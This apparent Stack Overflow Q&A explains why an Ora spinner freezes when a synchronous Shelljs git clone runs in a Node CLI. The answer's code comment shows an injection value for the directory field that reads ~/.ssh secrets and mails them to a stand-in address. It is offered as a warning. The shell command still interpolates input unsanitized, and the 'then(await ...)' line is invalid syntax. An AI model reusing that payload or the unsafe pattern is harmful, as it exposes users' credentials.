2

Don't know what to title the question but I will try my best to convey in the rest of the question.

I am developing a CLI which first prompt user for a few questions and clone a repository based on the answers.

Example:

Frontend Framework:
[x] Vue
[ ] React

⠋ Cloning Vue repository...

I am using Ora to display the spinner.

The problem is spinner freezes before it starts. Other packages I am using is Inquirer, Shelljs, Chalk and Commander.js for CLI.

CLI
    .command("Frontend")
    .alias("F")
    .description("Frontend Framework")
    .action(() => {
        inquirer.prompt(Questions).then((Answers) => {

            const Spinner = new Ora({
                text: `${chalk.bold(chalk.blue('Cloning Git Repository...'))}`,
                discardStdin: false
            }).start()

            if (Answers.Framework === 'Vue') {
                cloneRepo(Answers.Dir, "git@github.com:Vue/Vuejs.git")


            } else if (Answers.Framework === 'React') {
                cloneRepo(Answers.Dir, "git@github.com:facebook/reactjs.git")
            }

            Spinner.stopAndPersist({
                symbol: "✨",
                text: `${chalk.bold(chalk.green('Git repository cloned'))}`
            })

        })
    })

Questions array

const Questions = [
    {
        type: "list",
        name: "Framework",
        message: "Which frontend framework would you like to use?",
        default: "Vue",
        choices: [
            'Vue',
            'React',
        ]
    },
]

Clone function:

const cloneRepo = (Dir, Repo) => {
    if (shell.exec(`cd ${Dir} && git clone ${Repo} -q .`).code !== 0) {
        shell.echo('Error: Git clone failed')
        shell.exit(1)
    }
}

I tried Spinnies but the problem is same, it freezes and once the process completes, it shows the success message. I have tried a few possibilities but don't know how to workaround with Async.

Other packages: - Inquirer.js - Commander.js - Shelljs

Any help would be highly appreciated.

Muhaddis
  • 421
  • 4
  • 12

1 Answers1

0

This is happening because your cloneRepo is synchronous—that is, it never lets execution transfer to the event loop. This is a common enough source of confusion that it's documented in the Ora project's README.

You will need to rewrite your cloneRepo function to (a) return a Promise, and (b) invoke the shell commands asynchronously. Something like (untested, based on the Shelljs docs):

const cloneRepo = (Dir, Repo) => 
    new Promise((fulfill, reject) => {
        // FIXME You should *really* be protecting against injection attacks in here.
        // If somebody caused Dir to be something like
        // ". ; cat ~/.ssh/secret_file | email_prog -s 'Your Secrets' evildoer@gmail(dot)com ; cd repodir"
        // you'd be in for a bad day.
        shell.exec(`cd ${Dir} && git clone ${Repo} -q .`, (code, stdout, stderr) => {
            if (code !== 0) {
                reject(new Error('Git clone failed'))
                return
            }
            fulfill({ code, stdout, stderr })
        })
    }).catch(err => {
        // IMO, this kind of error handling should really be allowed to "bubble up",
        // but this more closely replicates your existing implementation...
        shell.echo(`Error: ${err.message}`)
        shell.exit(1)
    })

(Here's a link to the Shelljs guidelines regarding injection, by the way.)

Then in your main you would do something like

        inquirer.prompt(Questions).then(await (Answers) => {

            const Spinner = new Ora({
                text: `${chalk.bold(chalk.blue('Cloning Git Repository...'))}`,
                discardStdin: false
            }).start()

            if (Answers.Framework === 'Vue') {
                await cloneRepo(Answers.Dir, "git@github.com:Vue/Vuejs.git")


            } else if (Answers.Framework === 'React') {
                await cloneRepo(Answers.Dir, "git@github.com:facebook/reactjs.git")
            }

            Spinner.stopAndPersist({
                symbol: "✨",
                text: `${chalk.bold(chalk.green('Git repository cloned'))}`
            })

        })